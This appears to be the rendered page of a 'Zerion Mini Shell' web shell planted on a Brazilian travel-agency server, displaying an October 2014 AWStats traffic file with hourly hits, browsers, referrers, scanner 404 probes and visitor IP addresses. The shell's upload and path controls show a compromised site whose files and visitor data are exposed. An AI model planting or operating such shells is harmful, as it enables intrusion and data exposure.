%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/pantanal/tmp/awstats/
Upload File :
Create Path :
Current File : /home/pantanal/tmp/awstats/awstats102014.pantanaltravel.com.br.txt

AWSTATS DATA FILE 7.0 (build 1.971)
# If you remove this file, all statistics for date 201410 will be lost/reset.
# Last config file used to build this data file was /home/pantanal/tmp/awstats/awstats.pantanaltravel.com.br.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 27
POS_GENERAL 2015                
POS_TIME 2698                
POS_VISITOR 9259                
POS_DAY 19197               
POS_DOMAIN 3560                
POS_LOGIN 4284                
POS_ROBOT 4439                
POS_WORMS 4785                
POS_EMAILSENDER 4916                
POS_EMAILRECEIVER 5059                
POS_SESSION 20072               
POS_SIDER 20282               
POS_FILETYPES 5194                
POS_DOWNLOADS 5380                
POS_OS 5428                
POS_BROWSER 5577                
POS_SCREENSIZE 6400                
POS_UNKNOWNREFERER 6474                
POS_UNKNOWNREFERERBROWSER 6806                
POS_ORIGIN 6888                
POS_SEREFERRALS 7032                
POS_PAGEREFS 7199                
POS_SEARCHWORDS 7807                
POS_KEYWORDS 8136                
POS_MISC 2360                
POS_ERRORS 8305                
POS_CLUSTER 4140                
POS_SIDER_404 8430                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20141101012337 346 79350 9199931295809
FirstTime 20141001040448
LastTime 20141031160426
LastUpdate 20141101093243 346 0 345 0 0
TotalVisits 261                 
TotalUnique 235                 
MonthHostsKnown 0                   
MonthHostsUnknown 238                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 171 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 6 259 2382794 46 89 57052
1 15 128 1247601 204 240 76528
2 1 54 473042 37 59 47293
3 3 87 634360 47 72 97190
4 3 66 495313 66 91 59451
5 17 166 1452373 24 82 34560
6 3 122 1037235 61 85 42996
7 29 251 2767152 72 108 53101
8 47 962 8420419 95 222 157515
9 35 864 7729307 88 196 73584
10 88 1550 13488044 234 541 218764
11 34 867 7430784 54 197 51940
12 51 787 6561834 28 171 59238
13 71 1256 10717396 111 309 19464
14 136 1863 16488051 83 355 44658
15 83 1607 14345635 57 398 79422
16 67 1089 9284588 41 214 67580
17 22 616 5305128 64 202 393491
18 30 641 5944264 147 226 78736
19 51 781 6482747 60 181 82735
20 31 565 4880199 42 120 48270
21 40 557 4780170 43 162 40218
22 63 776 6540050 171 311 137918
23 12 386 3360263 35 84 38770
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 32
br 549 10698 93896039
ru 134 1816 15595869
co 86 1175 9607523
fr 26 126 1869357
mx 23 141 1323700
py 19 116 842101
ch 17 166 1443747
de 10 287 2337748
at 9 96 751792
es 8 212 1855287
eu 8 100 725300
us 6 112 1074146
ca 5 30 62168
fi 5 5 3808
tr 4 70 715491
au 4 57 568748
it 4 216 1968755
nl 3 90 666634
pt 2 108 941942
gb 2 108 1017247
ie 2 84 677578
ng 2 63 600537
ua 1 1 3772
no 1 54 495127
ma 1 54 479218
lt 1 54 500314
be 1 54 514686
mu 1 54 473042
sv 1 54 480921
dz 1 39 253448
ar 1 6 12437
pe 1 54 490267
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 6
googlebot 299 968183 20141031220858 0
spider 85 290349 20141031200824 0
bot[\s_+:,\.\;\/\\-] 22 77176 20141031015108 0
crawl 3 93448 20141030120559 0
ia_archiver 1 31099 20141015223938 0
robot 1 0 20141030201719 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 6
css 338 374959 0 0
php 938 4627827 0 0
png 232 104181 0 0
jpg 9939 131524473 0 0
js 1363 3858992 0 0
gif 3490 1758317 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS 9
linuxandroid 1094
winxp 941
winlong 81
linuxubuntu 1
winvista 1733
linux 90
win7 11541
macosx 658
Unknown 161
END_OS

# Browser ID - Hits
BEGIN_BROWSER 40
chrome37.0.2062.124 5486
msie6.0 21
safari7.0 242
chrome13.0.764.0 1
chrome37.0.2062.117 193
chrome38.0.2125.104 1777
android 314
chrome28.0.1500.94 121
chrome38.0.2125.101 440
chrome38.0.2125.111 594
chrome36.0.1985.125 180
opera9.80 158
msie8.0 136
chrome40.0.2194.2 59
msie7.0 4
chrome27.0.1453 54
chrome10.0.648.204 3
chrome33.0.1750.154 54
safari8.0 220
chrome33.0.1750.146 124
msie9.0 364
chrome37.0.2062.103 100
firefox32.0 1110
firefox17.0 108
chrome18.0.1025.166 65
chrome34.0.1847.114 77
firefox21.0 83
chrome27.0.1453.110 1
chrome32.0.1700.107 378
chrome38.0.2125.102 219
chrome36.0.1985.143 1493
firefox33.0 133
mozilla 830
chrome35.0.1916.153 705
chrome30.0.1599.103 105
msie10.0 93
chrome22.0.1229.94 24
chrome31.0.1650.16 4
chrome39.0.2171.27 74
safari 153
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 3
Mozilla/4.0_(compatible;) 20141027110144
Opera/9.80_(Android;_Opera_Mini/7.6.35843/35.5071;_U;_pt)_Presto/2.8.119_Version/11.10 20141022230334
Opera/9.80_(Android;_Opera_Mini/7.6.35843/35.4914;_U;_pt)_Presto/2.8.119_Version/11.10 20141013210605
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 0
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 90 93
From1 0 0
From2 228 291
From3 50 50
From4 570 15866
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
google 227 290
ask 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 13
http://semalt.semalt.com/crawler.php 30 30
http://869291.semalt.com/crawler.php 5 5
http://domainsigma.com/whois/pantanaltravel.com.br 4 4
http://civilwartheater.com 2 2
http://permitplace.com 1 1
https://www.facebook.com 1 1
http://bellolea.com 1 1
http://sound.ru 1 1
http://fva-management.com/pages/evaluation.html 1 1
http://mercouris.gr 1 1
http://aosheng-tech.com 1 1
http://westwoodrocks.com 1 1
http://www.visualturismo.com.br/AgenciasAutorizadas 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 5
receptivo+em+campo+grande 1
viagem+para+disney+campo+grande+ms 1
agencia+de+turismo+campo+grande+ms 1
pacote+campo+grande+para+pantanal 1
pacote+de+campo+grande+para+pantanal 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 13
campo 5
grande 5
para 3
ms 2
pacote 2
pantanal 2
de 2
viagem 1
turismo 1
receptivo 1
agencia 1
em 1
disney 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
302 1589 28301
206 61 475524
301 6 120
404 2395 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referer
BEGIN_SIDER_404 15
/apple-touch-icon-precomposed.png 3 -
//robots.txt 1 -
/robots.txt 171 -
/function.mysql-pconnect 1 -
/administrator/ 2 -
/light/js/prototype.js 537 http://pantanaltravel.com.br/home.php
/apple-touch-icon.png 3 -
/admin.php 3 -
/light/js/scriptaculous.js 537 http://pantanaltravel.com.br/home.php
/light/js/effects.js 570 http://pantanaltravel.com.br/home.php
/light/js/lightbox.js 558 http://pantanaltravel.com.br/home.php
/administrator/index.php 1 -
/js/'%20+%20file%20+%20' 2 -
/wp-login.php 5 -
/test_iis8.txt 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 238
191.136.83.220 25 127 1010782 20141021190322
179.99.210.139 24 24 99179 20141009225854
201.140.248.230 23 141 1323700 20141002105708
37.59.28.77 21 21 596125 20141002070525
187.6.87.202 19 98 938369 20141007155347
179.214.132.243 19 184 1745864 20141002140543
177.5.247.102 19 83 697439 20141027142540
190.23.175.188 19 116 842101 20141020121710
201.90.175.227 18 115 992733 20141029143120
177.83.9.221 17 159 1344103 20141008221156
187.126.31.149 17 120 1023547 20141005144959
191.184.213.202 17 123 1115472 20141001152515
195.65.152.90 16 112 945304 20141028055716
200.192.114.4 15 123 1001797 20141015102225
187.121.62.214 14 101 751006 20141004222847
187.105.24.40 14 84 680137 20141021211438
187.86.225.152 14 93 942756 20141016153634
189.103.82.59 13 106 730506 20141011164608
177.18.138.163 12 113 941762 20141019194843
189.27.72.16 11 102 870329 20141014164200
200.241.182.178 11 103 1183640 20141007080849
187.5.109.174 11 108 887203 20141001142020
179.180.50.25 11 103 784914 20141023133223
179.177.204.7 11 108 799669 20141011124713
189.22.39.69 11 108 918625 20141024103531
177.194.251.67 3 66 616571 20141020125010
197.211.37.178 1 39 253448 20141006000257
177.33.195.110 4 74 649916 20141016091836
191.182.108.218 7 100 783538 20141012204507
95.94.12.237 1 54 464358 20141023170725
189.72.225.161 2 59 540482 20141009120702
189.126.243.23 10 220 1711372 20141027143923
189.120.119.91 3 67 636434 20141007130142
189.27.66.100 1 54 451814 20141017140359
189.11.245.98 6 82 748132 20141026224138
179.218.118.162 10 100 700348 20141023223056
177.4.184.242 7 290 2736380 20141023132330
205.237.88.142 1 1 31140 20141006120628
189.11.219.221 3 87 634360 20141014030613
200.222.205.105 1 54 500461 20141007221701
191.184.221.20 5 92 668584 20141025144713
187.2.129.122 1 54 482319 20141013190141
177.202.41.242 4 67 656837 20141022075147
189.73.221.244 1 54 490625 20141024131309
90.207.92.22 1 54 510178 20141023190723
189.2.20.178 2 59 547767 20141024102125
189.58.105.162 3 64 624376 20141017214330
207.102.138.158 3 18 37301 20141025121151
179.180.49.194 2 58 539343 20141006111249
191.36.181.92 1 54 479462 20141009084140
177.129.125.150 1 54 493564 20141010192509
189.91.244.187 5 101 785848 20141013122600
177.6.81.136 3 65 617197 20141009154535
186.239.253.32 1 54 474468 20141030104136
191.40.89.100 5 93 703752 20141023202357
144.131.216.205 1 54 505363 20141018201627
187.6.17.166 2 84 676940 20141021093148
204.101.161.3 1 6 12448 20141030182715
179.176.176.73 2 2 9358 20141013212148
189.27.77.231 1 54 488656 20141014150713
191.184.196.242 1 54 448738 20141023151549
177.85.176.251 4 89 681863 20141014092833
189.2.139.18 1 54 511822 20141023095252
200.163.86.89 7 70 872721 20141015010033
177.65.39.50 2 84 692471 20141029105300
187.63.80.155 3 74 661789 20141006204342
177.183.161.70 1 54 486292 20141016210453
179.177.15.166 1 54 481494 20141010152758
177.6.196.154 1 41 373125 20141014151142
177.83.2.180 2 59 552082 20141031160426
198.252.44.6 2 2 62289 20141024074432
190.150.189.242 1 54 480921 20141022003039
87.221.74.152 1 54 474006 20141021173756
151.40.117.186 1 54 509048 20141010013815
177.4.185.100 1 54 491774 20141013154629
178.18.139.195 3 90 666634 20141028190438
196.20.244.10 1 54 473042 20141006023439
189.59.122.163 1 54 472938 20141027124911
189.10.150.169 1 54 519386 20141023084627
177.4.170.233 1 50 474753 20141014105814
179.180.50.65 2 84 684149 20141016133033
177.52.170.21 2 67 571696 20141002064426
200.153.11.250 9 112 1012209 20141027165055
187.40.185.253 3 63 622382 20141031090134
191.182.220.164 2 60 538852 20141022121053
177.194.240.234 4 70 697651 20141013205948
190.90.20.125 1 54 476703 20141005134820
85.241.124.119 1 54 477584 20141023182128
189.27.77.201 1 55 503178 20141028084730
79.19.113.53 1 54 500647 20141020092531
187.58.234.178 9 105 850392 20141012222054
91.200.13.64 1 1 3772 20141011103506
187.4.11.177 1 54 479650 20141022083313
179.209.150.59 2 65 667567 20141007184208
109.252.97.156 6 81 799521 20141031114020
177.34.10.130 1 54 494113 20141030153456
189.81.50.172 9 105 866717 20141003151231
91.61.194.216 1 54 488014 20141019153619
186.216.211.50 0 42 428158 
187.54.254.195 1 54 479440 20141016161526
189.103.69.159 1 54 478998 20141002111040
179.192.40.97 1 54 471491 20141023140647
189.108.95.242 2 85 576861 20141013081056
186.215.87.189 6 150 1319546 20141002104717
179.214.167.28 10 79 752554 20141021135641
201.78.223.192 1 43 278971 20141008125018
200.161.143.53 1 54 506367 20141008125319
177.83.4.65 5 113 875568 20141017105619
177.34.14.204 6 92 672635 20141003213349
187.7.231.242 1 54 474659 20141006162423
204.101.161.159 1 6 12419 20141021134727
191.184.203.182 5 95 789523 20141023131355
191.247.226.165 4 77 605596 20141031103130
187.113.48.156 3 63 562659 20141014234014
187.86.225.153 2 69 583488 20141008110422
201.41.119.40 1 54 481849 20141016145541
159.245.32.2 8 100 725300 20141008081828
201.14.186.96 1 54 493774 20141010101722
8.28.16.254 1 1 31115 20141010140302
201.40.31.218 3 60 581272 20141013224738
83.134.186.115 1 54 514686 20141017004818
179.210.246.113 1 54 487456 20141007221143
186.244.64.181 2 84 661694 20141002174231
186.236.205.138 1 54 476691 20141025103048
189.103.94.161 5 77 700318 20141031091003
86.128.92.213 1 54 507069 20141025055233
189.78.78.213 1 54 490758 20141013001303
189.27.69.24 1 54 502085 20141020165746
41.190.3.228 2 63 600537 20141012112908
200.193.216.31 3 94 760536 20141006082125
66.249.85.63 1 52 451151 20141001195601
179.254.24.193 5 96 778202 20141014150416
92.225.161.203 7 146 1225368 20141010152520
179.253.28.212 1 54 504039 20141020194039
92.225.143.162 2 87 624366 20141009133000
200.181.120.189 1 7 12873 20141003105241
80.183.126.161 1 54 492977 20141025104659
177.53.207.243 5 127 1194868 20141020154646
179.205.161.21 9 103 862403 20141007222952
187.62.39.133 1 54 475759 20141016013834
186.225.4.189 1 50 377559 20141014114255
37.228.106.121 4 89 694547 20141013210604
201.27.148.187 1 54 479609 20141014132237
179.253.190.109 5 77 681033 20141015094901
200.97.53.9 1 54 466768 20141001204737
187.23.218.39 1 54 502529 20141011143626
179.157.215.172 1 54 501383 20141010184338
177.83.14.240 3 116 1049976 20141010101349
200.181.114.62 3 39 213582 20141009084412
192.99.40.137 4 4 0 20141024213906
78.168.231.201 4 70 715491 20141016145632
200.129.202.130 7 183 1609246 20141008082411
177.92.55.111 4 110 1000930 20141029132058
187.24.243.18 3 60 534146 20141013153042
189.27.76.54 1 55 480953 20141002142635
179.177.8.223 1 8 134412 20141003081802
177.194.247.63 4 62 567600 20141016110324
109.247.7.155 1 54 495127 20141011202817
189.59.89.226 3 87 668056 20141021165953
189.59.100.234 1 54 483653 20141008163722
189.103.71.50 1 54 478845 20141024165035
191.184.194.189 2 85 676573 20141028104053
200.241.72.162 1 54 459631 20141020184831
186.219.220.27 1 54 487625 20141028234817
179.177.9.157 3 92 679614 20141016153448
152.250.51.134 1 54 481266 20141014180819
78.157.78.163 1 54 500314 20141005072732
189.46.251.129 1 54 491655 20141004230206
177.35.117.110 2 83 633196 20141023113303
177.73.69.19 2 44 239280 20141020232029
201.88.49.26 9 99 909533 20141015161844
177.35.117.124 2 59 547677 20141001155001
187.18.239.56 1 54 492695 20141004101626
177.97.33.197 4 65 639949 20141022092615
179.214.166.169 3 86 802421 20141025185745
200.159.215.207 1 54 492197 20141008163522
181.114.224.214 1 6 12437 20141005232242
186.220.16.196 1 54 466423 20141003092207
201.90.200.226 1 54 451715 20141020234819
187.7.239.84 2 67 575305 20141003083443
81.217.26.36 9 96 751792 20141021115306
164.85.83.104 0 3 0 
187.113.8.28 3 66 641012 20141007101707
187.113.12.8 2 69 585528 20141021153601
189.16.87.98 2 58 539831 20141020140608
187.115.154.75 1 54 505850 20141010073923
187.113.48.170 1 54 502285 20141026170921
177.5.247.178 1 54 483306 20141013115301
201.17.143.192 3 61 551891 20141013101754
177.97.220.85 9 105 802800 20141009135552
177.17.145.135 3 61 564954 20141019154903
187.24.108.42 5 63 562300 20141008131312
103.246.38.196 3 3 63385 20141008081827
201.50.61.85 1 54 470433 20141001040448
179.180.53.91 1 54 495073 20141002094210
191.247.226.158 1 54 491008 20141015124236
105.168.41.74 1 54 479218 20141025094251
187.113.13.141 2 59 561903 20141024142545
189.47.171.135 3 65 644450 20141002124942
186.208.135.153 1 54 508286 20141011212945
186.212.60.108 2 59 548253 20141015204324
189.59.103.102 1 54 498766 20141010143223
177.12.194.133 1 9 14232 20141011164946
186.213.112.89 1 54 503043 20141010135728
177.203.4.202 1 54 495067 20141009184657
179.214.190.204 1 54 496407 20141005214810
177.17.157.180 1 5 60084 20141006092845
191.247.224.14 10 107 818940 20141024174539
177.205.154.166 1 54 465539 20141009065636
143.54.102.70 1 36 295776 20141020102939
187.35.99.187 2 61 564579 20141014144907
187.64.71.111 1 54 466374 20141004182849
177.43.78.215 1 54 479427 20141007130205
189.103.53.115 1 54 512702 20141001225921
189.35.68.81 6 82 762313 20141030144843
177.194.235.123 3 67 671897 20141019104030
83.79.47.161 1 54 498443 20141026070948
78.216.196.84 5 105 1273232 20141020182546
177.1.82.34 3 59 525480 20141016153340
79.6.72.197 1 54 466083 20141017115829
66.102.7.111 0 2 17185 
201.51.80.133 1 54 495034 20141012153023
201.57.60.162 1 54 481863 20141007153218
189.18.28.125 3 94 714780 20141018191558
177.194.250.61 1 54 467028 20141006073749
189.27.82.45 1 54 469216 20141015154403
177.93.118.190 1 54 461742 20141003145337
46.7.12.208 2 84 677578 20141002192638
177.1.249.36 1 54 501018 20141014215410
177.35.120.117 3 75 683466 20141013182217
189.59.97.74 9 100 950005 20141009161201
177.97.33.180 1 54 475831 20141021122759
179.180.54.170 2 88 637975 20141030111737
37.228.105.0 3 69 686734 20141022230334
187.23.213.173 3 87 686100 20141008172329
192.99.9.164 1 1 3808 20141010201931
190.117.147.138 1 54 490267 20141006174418
187.24.149.135 1 54 493960 20141006133205
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 31
20141001 37 668 5941387 11
20141002 83 1027 9685504 14
20141003 21 387 3190107 8
20141004 17 263 2201730 4
20141005 22 290 2509408 6
20141006 25 555 4750800 13
20141007 51 718 6878632 10
20141008 55 769 6407546 12
20141009 41 684 5758615 11
20141010 21 697 6297189 13
20141011 29 386 3054121 7
20141012 19 322 2729501 4
20141013 33 819 7063197 13
20141014 36 861 7280408 14
20141015 41 538 4973561 8
20141016 40 805 7228935 14
20141017 13 399 3475908 6
20141018 4 148 1220143 2
20141019 19 295 2666627 4
20141020 41 859 7799236 14
20141021 68 740 6088045 10
20141022 16 374 3589377 8
20141023 43 990 8106325 14
20141024 29 443 3847766 8
20141025 11 341 2844441 7
20141026 8 190 1748860 3
20141027 39 441 3801683 5
20141028 23 396 3279314 5
20141029 22 254 2169167 3
20141030 11 284 2381317 5
20141031 20 357 3279899 5
END_DAY

# Session range - Number of visits
BEGIN_SESSION 7
1h+ 1
5mn-15mn 17
0s-30s 154
15mn-30mn 2
30s-2mn 52
2mn-5mn 33
30mn-1h 2
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 14
/home.php 356 1670129 256 183
/produto_cat.php 159 864655 0 20
/produto_view.php 158 1122845 3 25
/produto_list.php 54 292176 0 6
/orcamento.php 49 182950 0 5
/textos.php 48 221362 1 11
/contato.php 27 111811 0 5
/incluiProduto.php 24 1365 0 0
/orcamento_passo2.php 20 85421 1 2
/busca_pacotes.php 18 67618 0 3
/conversao_contato.php 7 4953 0 0
/alterarQtd.php 7 182 0 0
/envia_contato.php 6 2040 0 0
/envia_pedido.php 5 320 0 1
END_SIDER

Zerion Mini Shell 1.0